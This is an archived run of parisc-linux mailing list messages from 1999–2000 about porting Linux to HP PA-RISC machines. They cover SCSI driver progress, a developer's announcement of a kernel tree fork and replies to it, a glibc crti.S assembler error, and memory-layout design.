	for <parisc-linux@puffin.external.hp.com>; Fri,  5 May 2000 17:07:16 -0700 (PDT)
Original-Received: (qmail 13037 invoked by uid 15267); 6 May 2000 00:06:14 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 13027 invoked from network); 6 May 2000 00:06:13 -0000
Original-Received: from atlrel1.hp.com (156.153.255.210)
  by mailserv2.iuinc.com with SMTP; 6 May 2000 00:06:13 -0000
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.8.80.76])
	by atlrel1.hp.com (Postfix) with ESMTP id C0B581B213
	for <parisc-linux@thepuffingroup.com>; Fri,  5 May 2000 20:05:44 -0400 (EDT)
Original-Received: from localhost (grundler@localhost [127.0.0.1]) by milano.cup.hp.com with SMTP (8.8.6 (PHNE_17190)/8.7.3 TIS 5.0.1) id RAA18075 for <parisc-linux@thepuffingroup.com>; Fri, 5 May 2000 17:06:07 -0700 (PDT)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "Fri, 05 May 2000 17:05:59 PDT."
             <E12nrAV-00040I-00@endor.fc.hp.com> 
Xref: news.gmane.org gmane.linux.ports.parisc:7257

Paul Bame wrote:
> 
> Many thanks to ggg, robert, and prumpf, for helping me get the SCSI
                      -------

Uh, erm, you mean Richard? (as in Richard Hirst)

> driver (sim710 specifically) working on B180 (should work on A180 too)
> and 712!!!

Basically this should work on any box who's processor (U-bit) and
memory controller supports uncacheable memory. Consensus to date
seems to limit this to boxes with 7100LC and 7300LC processors.

Last I heard, Richard was still working on getting stuff working
on the 715/75 recently dropped off. It seems since this box is
a PA7100 (not LC), it doesn't support U-bit (just ignores it
perhaps?).

For systems with U2/Uturn (HP-UX ccio driver), prumpf is working
on "Dynamic DMA mapping" support on those. For boxes with Astro
(HP-UX sba driver), support is already in CVS and "sort-of" tested.

welcome (it was fun),
grant

Grant Grundler
Unix Development Lab
+1.408.447.7253


From - Thu Nov 08 21:12:30 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thomas Bogendoerfer <tsbogend@alpha.franken.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [joey@linuxtag.de: Invitation for LinuxTag 2000]
Date: Sat, 6 May 2000 13:58:18 +0200
Lines: 16
Approved: news@gmane.org
Message-ID: <20000506135818.A2202@alpha.franken.de>
References: <20000502123902.C8051@thepuffingroup.com> <390F02D0.43B1DC64@web.de> <20000505165654.P1662@paradigm.rfc822.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618907 32540 80.91.229.3 (22 Nov 2014 01:15:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:15:07 +0000 (UTC)
Cc: Frank Benke <frank.benke@web.de>, willy@thepuffingroup.com,
        joey@linuxtag.de, parisc-linux@thepuffingroup.com
To: Florian Lohoff <flo@rfc822.org>
Original-X-From: tsbogend@alpha.franken.de  Mon May  8 02:30:59 2000
Original-Received: from atlrel1.hp.com (atlrel1.hp.com [156.153.255.210])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id CAA00626
	for <parisc-linux@puffin.external.hp.com>; Mon, 8 May 2000 02:30:59 -0600
Original-Received: from mailserv2.iuinc.com (mailserv2.iuinc.com [206.245.164.55])
	by atlrel1.hp.com (Postfix) with SMTP id C38851CE4B
	for <parisc-linux@puffin.external.hp.com>; Sat,  6 May 2000 08:41:19 -0400 (EDT)
Original-Received: (qmail 5196 invoked by uid 15267); 6 May 2000 12:34:33 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 5170 invoked from network); 6 May 2000 12:34:31 -0000
Original-Received: from rachael.franken.de (193.175.24.38)
  by mailserv2.iuinc.com with SMTP; 6 May 2000 12:34:31 -0000
Original-Received: by rachael.franken.de
	via sendmail with stdio
	id <m12o3ms-0027sFC@rachael.franken.de>
	for parisc-linux@thepuffingroup.com; Sat, 6 May 2000 14:34:26 +0200 (MET DST)
	(Smail-3.2 1996-Jul-4 #4 built DST-Sep-8)
Original-Received: from dns.franken.de(193.175.24.33), claiming to be "chico.franken.de"
 via SMTP by rachael.franken.de, id smtpdAAAa13229; Sat May  6 14:34:25 2000
Original-Received: by chico.franken.de with UUCP 
	for joey@linuxtag.de
	id m12o3mq-005CwpC; Sat, 6 May 2000 14:34:24 +0200 (MET DST)
Original-Received: (from tsbogend@localhost)
	by alpha.franken.de (8.8.7/8.8.5) id NAA02211;
	Sat, 6 May 2000 13:58:18 +0200
X-Mailer: Mutt 1.0.1us
In-Reply-To: <20000505165654.P1662@paradigm.rfc822.org>; from flo@rfc822.org on Fri, May 05, 2000 at 04:56:54PM +0200
Xref: news.gmane.org gmane.linux.ports.parisc:7258

On Fri, May 05, 2000 at 04:56:54PM +0200, Florian Lohoff wrote:
> I will be at the booth already with Linux/mips(el) and probably i might
> bring a gecko with me ... Although i am not that experienced
> with PA-Risc i have booted it once with a kernel/ramdisk image and
> it showed some reaction :)

even as I'll be at the HP booth, it shouldn't be a problem to help you
setting up Linux/PARISC.

Thomas.

-- 
   This device has completely bogus header. Compaq scores again :-|
It's a host bridge, but it should be called ghost bridge instead ;^)
                                        [Martin `MJ' Mares on linux-kernel]


From - Thu Nov 08 21:12:30 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "T. Martin" <catfish@alltel.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Userland yet??????
Date: Mon, 8 May 2000 22:31:21 -0500 (CDT)
Lines: 11
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.10.10005082227540.19149-100000@jesse.crash.lan>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416618907 32542 80.91.229.3 (22 Nov 2014 01:15:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:15:07 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: catfish@alltel.net  Tue May  9 03:39:23 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id DAA10623
	for <parisc-linux@puffin.external.hp.com>; Tue, 9 May 2000 03:39:23 -0600
Original-Received: (qmail 26228 invoked by uid 15267); 9 May 2000 03:39:31 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 16118 invoked from network); 9 May 2000 03:30:45 -0000
Original-Received: from unknown (HELO jesse.crash.lan) (root@166.102.252.68)
  by mailserv2.iuinc.com with SMTP; 9 May 2000 03:30:45 -0000
Original-Received: from localhost (catfish@localhost)
	by jesse.crash.lan (8.9.3/8.9.3) with ESMTP id WAA19153
	for <parisc-linux@thepuffingroup.com>; Mon, 8 May 2000 22:31:21 -0500
X-Authentication-Warning: jesse.crash.lan: catfish owned process doing -bs
X-Sender: catfish@jesse.crash.lan
Xref: news.gmane.org gmane.linux.ports.parisc:7259

Hello, 
 Great to see the scsi working any idea when we might be able to get
remotely close to multiuser mode? 
 I know it's early and I'm waiting quietly with a couple PA-Risc on the
closet, 715's and one doing setiathome as it's the only one with an OS
HP-UX 9.03 and I have only one aui->BNC so that limits the others. 
 Congrats on the scsi driver thanks for all the hard work that goes on
from a bystander. 
 Terry



From - Thu Nov 08 21:12:30 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Philipp Rumpf <prumpf@puffin.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Tree Issues
Date: Tue, 9 May 2000 10:37:07 -0600
Lines: 57
Approved: news@gmane.org
Message-ID: <20000509103707.A13782@puffin.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618908 32545 80.91.229.3 (22 Nov 2014 01:15:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:15:08 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: prumpf@puffin.external.hp.com  Tue May  9 10:37:34 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id KAA14029
	for <parisc-linux@puffin.external.hp.com>; Tue, 9 May 2000 10:37:33 -0600
Original-Received: (qmail 14429 invoked by uid 15267); 9 May 2000 10:37:34 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 14161 invoked from network); 9 May 2000 10:37:17 -0000
Original-Received: from puffin.external.hp.com (root@192.25.206.4)
  by mailserv2.iuinc.com with SMTP; 9 May 2000 10:37:17 -0000
Original-Received: (from prumpf@localhost)
	by puffin.external.hp.com (8.9.3/8.9.3) id KAA14024
	for parisc-linux@thepuffingroup.com; Tue, 9 May 2000 10:37:07 -0600
X-Mailer: Mutt 0.93.2
Xref: news.gmane.org gmane.linux.ports.parisc:7260

Hi,
I just returned from spending a month in California working on stuff
not related to PA-RISC (and a week here trying to get back into
normal life).  If you sent me any email I didn't answer, you should
probably resend it now (if you still care about an answer, that is).

For various reasons, most of which I do not want to discuss in public,
I have decided not to continue merging my kernel changes with the
tree maintained by The Puffin Group / Linuxcare.

I am extremely grateful for TPG's help so far;  their co-operation
with HP in selecting the documentation to be published and making it
actually happen is what made this project possible.

I am quite unhappy with the code that currently is in the tree;  most
of it is unreviewed, and too much of it is in a state now where I
think it is easier to rewrite it from scratch than to maintain it
long-term.  This is not about individuals' contributions;  no-one can
be blamed for submitting working code and relying on the tree
maintainer to make sure some standards of quality and consistency are
met.

Any contributor that should decide (s)he wants to submit their work
to me directly is welcome to do so.  (But please realize that while
I will look at the changes in the TPG tree, I don't know whether TPG
will do the same with my tree).

I am going to try to set up a sourceforge.net project to keep my
modifications publicly-visible now;  while I'm not perfectly happy
with announcing anything before people can actually look at my code,
I couldn't think of any better way to do it.

To everyone whom I am not going to work with in the future, it has
been a lot of fun to do so, even though I believe I'm going to have
more fun with what I am going to do now.

Please feel free to send me any questions or comments either
personally (prumpf@tux.org is my preferred long-term address) or on
this list.

I am going to send a link to more details of the technical / code
changes after I actually put something about it together.

I do not think this fork has to be a permanent one, though I can't
help thinking it is likely to be;  I will be happy to talk to the
TPG/LC tree maintainers once I have a tree which I am happier with
than I am with the current cvs tree.

My apologies to Matthew for sending this right after he returned from
vacation.

	Philipp Rumpf

[There seems to be a common misunderstandment that I am still working
for SuSE GmbH.  I'm not, and I haven't for 6 months;  I'm currently
living on student loan and am not employed by any company]


From - Thu Nov 08 21:12:30 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Paul Bame <bame@endor.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Tree Issues
Date: Tue, 09 May 2000 10:00:40 -0600
Lines: 59
Approved: news@gmane.org
Message-ID: <E12pCR6-0000sW-00@endor.fc.hp.com>
References: <20000509103707.A13782@puffin.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416618908 32552 80.91.229.3 (22 Nov 2014 01:15:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:15:08 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Philipp Rumpf <prumpf@puffin.external.hp.com>
Original-X-From: bame@endor.fc.hp.com  Tue May  9 17:44:30 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id RAA16696
	for <parisc-linux@puffin.external.hp.com>; Tue, 9 May 2000 17:44:30 -0600
Original-Received: (qmail 7618 invoked by uid 15267); 9 May 2000 17:44:35 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 2911 invoked from network); 9 May 2000 16:14:03 -0000
Original-Received: from cosrel2.hp.com (156.153.255.162)
  by mailserv2.iuinc.com with SMTP; 9 May 2000 16:14:03 -0000
Original-Received: from l3107mxr.atl.hp.com (l3107mxr.atl.hp.com [15.19.254.19])
	by cosrel2.hp.com (Postfix) with ESMTP id 4076C194
	for <parisc-linux@thepuffingroup.com>; Tue,  9 May 2000 10:13:48 -0600 (MDT)
Original-Received: from endor.fc.hp.com (endor.fc.hp.com [15.1.49.59])
	by l3107mxr.atl.hp.com (Postfix) with ESMTP id 268B44FDF2
	for <parisc-linux@thepuffingroup.com>; Tue,  9 May 2000 12:13:58 -0400 (EDT)
Original-Received: from localhost (endor.fc.hp.com) [127.0.0.1] (bame)
	by endor.fc.hp.com with esmtp (Exim 3.12 #1 (Debian))
	id 12pCR6-0000sW-00; Tue, 09 May 2000 10:00:40 -0600
In-reply-to: Your message of "Tue, 09 May 2000 10:37:07 MDT."
             <20000509103707.A13782@puffin.external.hp.com> 
Xref: news.gmane.org gmane.linux.ports.parisc:7261

= For various reasons, most of which I do not want to discuss in public,

I suspect the reasons you are not discussing may be the most
important ones since the ones you mention here seem resolvable.

= I am quite unhappy with the code that currently is in the tree;  most
= of it is unreviewed,

Indeed we're *all* guilty of checking in a few bad hacks "just to make it
work".

= and too much of it is in a state now where I
= think it is easier to rewrite it from scratch than to maintain it
= long-term.

This is a common point on many projects.  Especially when people learn
as they code, they make unwise decisions especially in the beginning,
which are best re-written at some point.

My hope was that we'd charge ahead to a working user land and tool
chain and then after enabling userland work to proceed, we'd go back
to clean up the kernel simultaneously with supporting 64 bit where
we'd get the chance to "do it right".

Do you feel a re-write is a faster way of enabling user-land
development to go forward than adding a few more hacks to our
existing hacks?

= This is not about individuals' contributions;  no-one can
= be blamed for submitting working code and relying on the tree
= maintainer to make sure some standards of quality and consistency are
= met.

Nobody is acting as this type of tree maintainer, and I for one would
welcome someone to review my checked-in code and let's me know what's
stupid about it.  The tree maintainer could even maintain a CVS tag
which designates the "maintainer's version" of the code.

= I am going to try to set up a sourceforge.net project to keep my
= modifications publicly-visible now;  while I'm not perfectly happy
= with announcing anything before people can actually look at my code,
= I couldn't think of any better way to do it.

I am willing to set up linux-2.3-prumpf on puffin.external.hp.com.
There's sufficient space to host another linux tree.

= To everyone whom I am not going to work with in the future, it has
= been a lot of fun to do so, even though I believe I'm going to have
= more fun with what I am going to do now.

I'll be interested to see what you'll be doing now.  It sounds
like you'll be fulfilling a role we need for the TPG port.
I'm a little surprised you're going elsewhere to do it, rather than 
just starting to do it with the TPG crowd and seeing what happens.

Good luck, and thanks for all your help so far.

	-Paul Bame


From - Thu Nov 08 21:12:30 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] New driver for NCR 53c700 SCSI chips
Date: Wed, 10 May 2000 15:20:10 +0100
Lines: 26
Approved: news@gmane.org
Message-ID: <20000510152010.R1090@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618908 32554 80.91.229.3 (22 Nov 2014 01:15:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:15:08 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: rhirst@linuxcare.com  Wed May 10 14:27:49 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id OAA26732
	for <parisc-linux@puffin.external.hp.com>; Wed, 10 May 2000 14:27:49 -0600
Original-Received: (qmail 13593 invoked by uid 15267); 10 May 2000 14:26:47 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 7288 invoked from network); 10 May 2000 14:20:34 -0000
Original-Received: from dyn181-ras4.screaming.net (HELO rhirst.linuxcare.com) (postfix@212.49.227.181)
  by mailserv2.iuinc.com with SMTP; 10 May 2000 14:20:34 -0000
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id C45DEB006; Wed, 10 May 2000 15:20:10 +0100 (BST)
X-Mailer: Mutt 1.0us
Xref: news.gmane.org gmane.linux.ports.parisc:7262

Hi,
  I have added a driver for the 53c700.  It is only lightly tested on my 715/75,
but does detect a disk and a tape, and can mount a root file system and load the
standalone shell from it.  The changs are all in cvs.

I recommend disconnecting any disks with valuable data on them before trying it.

For those that don't know me, I have a lot of experience with the 53c710 on m68k
VME boards and Compaq machines.  I created 53c7xx.c from 53c7,8xx.c and also wrote
sim710.c.

The new driver is sim700.c and my intention is to make it support 53c710 also, so
sim710.c can be removed.

At present selecting CONFIG_SCSI_LASI builds in sim700.c, sim710.c, and 53c7xx.c.
I think we should concentrate on sim700.c and forget about 53c7xx.c.  53c7xx.c is
more powerful, but is limited to 53c710 chips and makes demands on the hardware
that not all systems support.  I don't know how practical it is to make 53c7xx.c
work on a range of HP machines, and favour adding extra functionality to sim700.c
as we need it.

Please give this a try and report back,

Thanks,
  Richard


From - Thu Nov 08 21:12:30 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Paul Bame <bame@endor.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] crti.S Nested procedures error
Date: Wed, 10 May 2000 14:03:17 -0600
Lines: 65
Approved: news@gmane.org
Message-ID: <E12pchR-0005Kc-00@endor.fc.hp.com>
References: <200005011841.LAA11187@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416618909 32558 80.91.229.3 (22 Nov 2014 01:15:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:15:09 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Grant Grundler <grundler@cup.hp.com>
Original-X-From: bame@endor.fc.hp.com  Wed May 10 20:03:20 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id UAA29118
	for <parisc-linux@puffin.external.hp.com>; Wed, 10 May 2000 20:03:20 -0600
Original-Received: (qmail 3277 invoked by uid 15267); 10 May 2000 20:03:26 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 3254 invoked from network); 10 May 2000 20:03:25 -0000
Original-Received: from atlrel1.hp.com (156.153.255.210)
  by mailserv2.iuinc.com with SMTP; 10 May 2000 20:03:25 -0000
Original-Received: from endor.fc.hp.com (endor.fc.hp.com [15.1.49.59])
	by atlrel1.hp.com (Postfix) with ESMTP id C5285E44E
	for <parisc-linux@thepuffingroup.com>; Wed, 10 May 2000 16:03:23 -0400 (EDT)
Original-Received: from localhost (endor.fc.hp.com) [127.0.0.1] (bame)
	by endor.fc.hp.com with esmtp (Exim 3.12 #1 (Debian))
	id 12pchR-0005Kc-00; Wed, 10 May 2000 14:03:17 -0600
In-reply-to: Your message of "Mon, 01 May 2000 11:41:00 PDT."
             <200005011841.LAA11187@milano.cup.hp.com> 
Xref: news.gmane.org gmane.linux.ports.parisc:7263

= "make" died with the following error:
= 
= /linux/grundler/glibc/hppa1.1-linux/csu/crti.S: Assembler messages:
= /linux/grundler/glibc/hppa1.1-linux/csu/crti.S:42: Fatal error: Nested proced
ures
= 
= Sure enough, two .PROC's have no .PROCEND in between.

I think I've figured this out, and it'll take a glibc expert to do
the *right* thing vis-a-vis the complex glibc structure.

Let's ignore the .fini section and just deal with .init.  This is the
section where code which needs to execute prior to main() is placed.  It
is in effect a normal assembly-language procedure whose contents are
created at link-time.  The procedure looks like this (somewhat simplified):

    .globl _init
	    .EXPORT _init,ENTRY
	    .type    _init,@function
    _init:
	    .PROC
	    .CALLINFO FRAME=64,CALLS,SAVE_RP,ENTRY_GR=3
	    .ENTRY
	    a few assembly statements

	    /***** pre-main() code to be inserted here *******/

	    a few more assembly statements
	    .EXIT
	    .PROCEND

glibc wants to place the first part (up to the comment) into crti.S, and
the second part into crtn.S, then at link time something like this happens:

	ld -o a.out crti.o users's-object-files crtn.o

Inside the user's object files, if they need something called before main(),
like a C++ static constructor, you might find code like this:

	.section .init
	bl,n my-static-constructor,%r2

Thus the _init procedure is created is link time, but that's not the problem.

The problem is that the neither the first scrap of code nor the second
will assemble, because there's a .PROC without .PROCEND and .ENTRY
without .EXIT.  .ENTRY and .EXIT both produce code, .ENTRY depends on
.CALLINFO which depends a tad upon .PROC.

If we hand-code the .ENTRY and .EXIT sequences, we can nuke all the
troublesome assembler directives and fix this... simple!...

except for the way this code got generated in the first place.
It's generated in glibc/csu by 'gcc -S initfini.c' and then
hacking the generated assembly, which contains the .PROC,.ENTRY,etc...

So one thing we could do is hack gcc to produce its own entry/exit
assembly code generation.  Another thing we could do is make the
assembler very forgiving.  Perhaps the best thing we could do is find a way
to insert PA-specific handwritten assembly for these two files
into the glibc build.  I can't figure out how to do this without
making glibc specific only to PA.  Help!

	-Paul Bame


From - Thu Nov 08 21:12:30 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: alan@lxorguk.ukuu.org.uk (Alan Cox)
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [hppa-linux] memory layout
Date: Thu, 18 Mar 1999 10:24:19 +0000 (GMT)
Lines: 20
Approved: news@gmane.org
Message-ID: <m10NZyO-0007U2C@the-village.bc.nu>
References: <Pine.LNX.3.96.990317212138.2685A-100000@quark.ix.netcom.com>
NNTP-Posting-Host: plane.gmane.org
Content-Type: text
X-Trace: ger.gmane.org 1416618909 32564 80.91.229.3 (22 Nov 2014 01:15:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:15:09 +0000 (UTC)
Cc: hppa-linux@puffingroup.com
To: hppa-linux@thepuffingroup.com
Original-X-From: alan@lxorguk.ukuu.org.uk  Thu Mar 18 04:30:19 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by sod.res.cmu.edu (8.8.7/8.8.7) with SMTP id EAA14732
	for <hppa-linux@sod.res.cmu.edu>; Thu, 18 Mar 1999 04:30:19 -0500
Original-Received: (qmail 909 invoked by uid 15267); 18 Mar 1999 09:29:39 -0000
Delivered-To: thepuffi-hppa-linux@thepuffingroup.com
Original-Received: (qmail 902 invoked from network); 18 Mar 1999 09:29:39 -0000
Original-Received: from snowcrash.cymru.net (163.164.160.3)
  by mailserv2.iuinc.com with SMTP; 18 Mar 1999 09:29:39 -0000
Original-Received: from the-village.bc.nu (lightning.swansea.uk.linux.org [194.168.151.1]) by snowcrash.cymru.net (8.8.7/8.7.1) with SMTP id JAA27436; Thu, 18 Mar 1999 09:30:11 GMT
Original-Received: by the-village.bc.nu (Smail3.1.29.1 #2)
	id m10NZyO-0007U2C; Thu, 18 Mar 99 10:24 GMT
In-Reply-To: <Pine.LNX.3.96.990317212138.2685A-100000@quark.ix.netcom.com> from "Kumar" at Mar 17, 99 09:29:46 pm
Xref: news.gmane.org gmane.linux.ports.parisc:7264

> Talking about only pa1.1 or 32 bit CPUs, I would say the same layout
> can be used as Linux on Intel does. That is kernel mapped at 0xc0000000.
> So 3 Gig for User space and 1 Gig for kernel. Of course, other ppl may
> have different ideas. 

If you want to run PH/UX binaries then you need to probably follow their
layout

> PA has this strange concept of Spaces and they have those 
> space registers %sr0 to %sr7. This reminds me of Intel's segment 
> registers. And whoever wanted to do any serious OS like Unix on 80386
> never liked segments.

Spaces is more segments done right. The reason we dont use segmentation
to split user/kernel on x86 any more is simply performance - it costs us
1 clock per dword copied to/from luser space.

The m68k people use the 'spaces' equivalent on the m68k quite heavily



From - Thu Nov 08 21:12:30 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Cary Coutant <cary@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] crti.S Nested procedures error
Date: Wed, 10 May 2000 14:48:39 -0700
Lines: 30
Approved: news@gmane.org
Message-ID: <200005102148.OAA07673@adlmail.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="US-ASCII"
X-Trace: ger.gmane.org 1416618909 32568 80.91.229.3 (22 Nov 2014 01:15:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:15:09 +0000 (UTC)
Cc: <parisc-linux@thepuffingroup.com>
To: "Paul Bame" <bame@endor.fc.hp.com>, "Grant Grundler" <grundler@cup.hp.com>
Original-X-From: cary@cup.hp.com  Wed May 10 21:48:50 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id VAA30028
	for <parisc-linux@puffin.external.hp.com>; Wed, 10 May 2000 21:48:50 -0600
Original-Received: (qmail 29525 invoked by uid 15267); 10 May 2000 21:48:57 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 29424 invoked from network); 10 May 2000 21:48:50 -0000
Original-Received: from atlrel1.hp.com (156.153.255.210)
  by mailserv2.iuinc.com with SMTP; 10 May 2000 21:48:50 -0000
Original-Received: from adlmail.cup.hp.com (adlmail.cup.hp.com [15.0.100.30])
	by atlrel1.hp.com (Postfix) with ESMTP id 6173FED
	for <parisc-linux@thepuffingroup.com>; Wed, 10 May 2000 17:48:49 -0400 (EDT)
Original-Received: from [15.0.100.219] (hpadl716.cup.hp.com [15.0.100.219]) by adlmail.cup.hp.com with SMTP (8.8.6 (PHNE_17135)/8.7.3 TIS 5.0.1) id OAA07673; Wed, 10 May 2000 14:48:47 -0700 (PDT)
x-sender: cary@adlmail.cup.hp.com
x-mailer: Claris Emailer 2.0v3, January 22, 1998
Xref: news.gmane.org gmane.linux.ports.parisc:7265

Have you tried this:

>    .globl _init
>	    .EXPORT _init,ENTRY
>	    .type    _init,@function
>    _init:
>	    .PROC
>	    .CALLINFO FRAME=64,CALLS,SAVE_RP,ENTRY_GR=3
>	    .ENTRY
>	    a few assembly statements

      .PROCEND

      .PROC
 	    .CALLINFO FRAME=64,CALLS,SAVE_RP,ENTRY_GR=3
      
>
>	    /***** pre-main() code to be inserted here *******/
>
>	    a few more assembly statements
>	    .EXIT
>	    .PROCEND

While you need to use .proc and .procend in pairs, that's not the case 
with .entry and .exit. If the assembler won't take this code, it should. 
Besides being useful for this case, it's also necessary to generate code 
like this for out-of-line pieces of procedures.

-cary


From - Thu Nov 08 21:12:30 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Tree Issues
Date: Wed, 10 May 2000 17:43:46 -0700
Lines: 99
Approved: news@gmane.org
Message-ID: <200005110043.RAA24953@milano.cup.hp.com>
References: <20000509103707.A13782@puffin.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416618910 32570 80.91.229.3 (22 Nov 2014 01:15:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:15:10 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: grundler@cup.hp.com  Thu May 11 00:43:12 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id AAA31764
	for <parisc-linux@puffin.external.hp.com>; Thu, 11 May 2000 00:43:12 -0600
Original-Received: (qmail 16060 invoked by uid 15267); 11 May 2000 00:43:19 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 16053 invoked from network); 11 May 2000 00:43:19 -0000
Original-Received: from atlrel2.hp.com (156.153.255.202)
  by mailserv2.iuinc.com with SMTP; 11 May 2000 00:43:19 -0000
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.8.80.76])
	by atlrel2.hp.com (Postfix) with ESMTP id 95F7F171
	for <parisc-linux@thepuffingroup.com>; Wed, 10 May 2000 20:43:18 -0400 (EDT)
Original-Received: from localhost (grundler@localhost [127.0.0.1]) by milano.cup.hp.com with SMTP (8.8.6 (PHNE_17190)/8.7.3 TIS 5.0.1) id RAA24953 for <parisc-linux@thepuffingroup.com>; Wed, 10 May 2000 17:43:46 -0700 (PDT)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "Tue, 09 May 2000 10:37:07 PDT."
             <20000509103707.A13782@puffin.external.hp.com> 
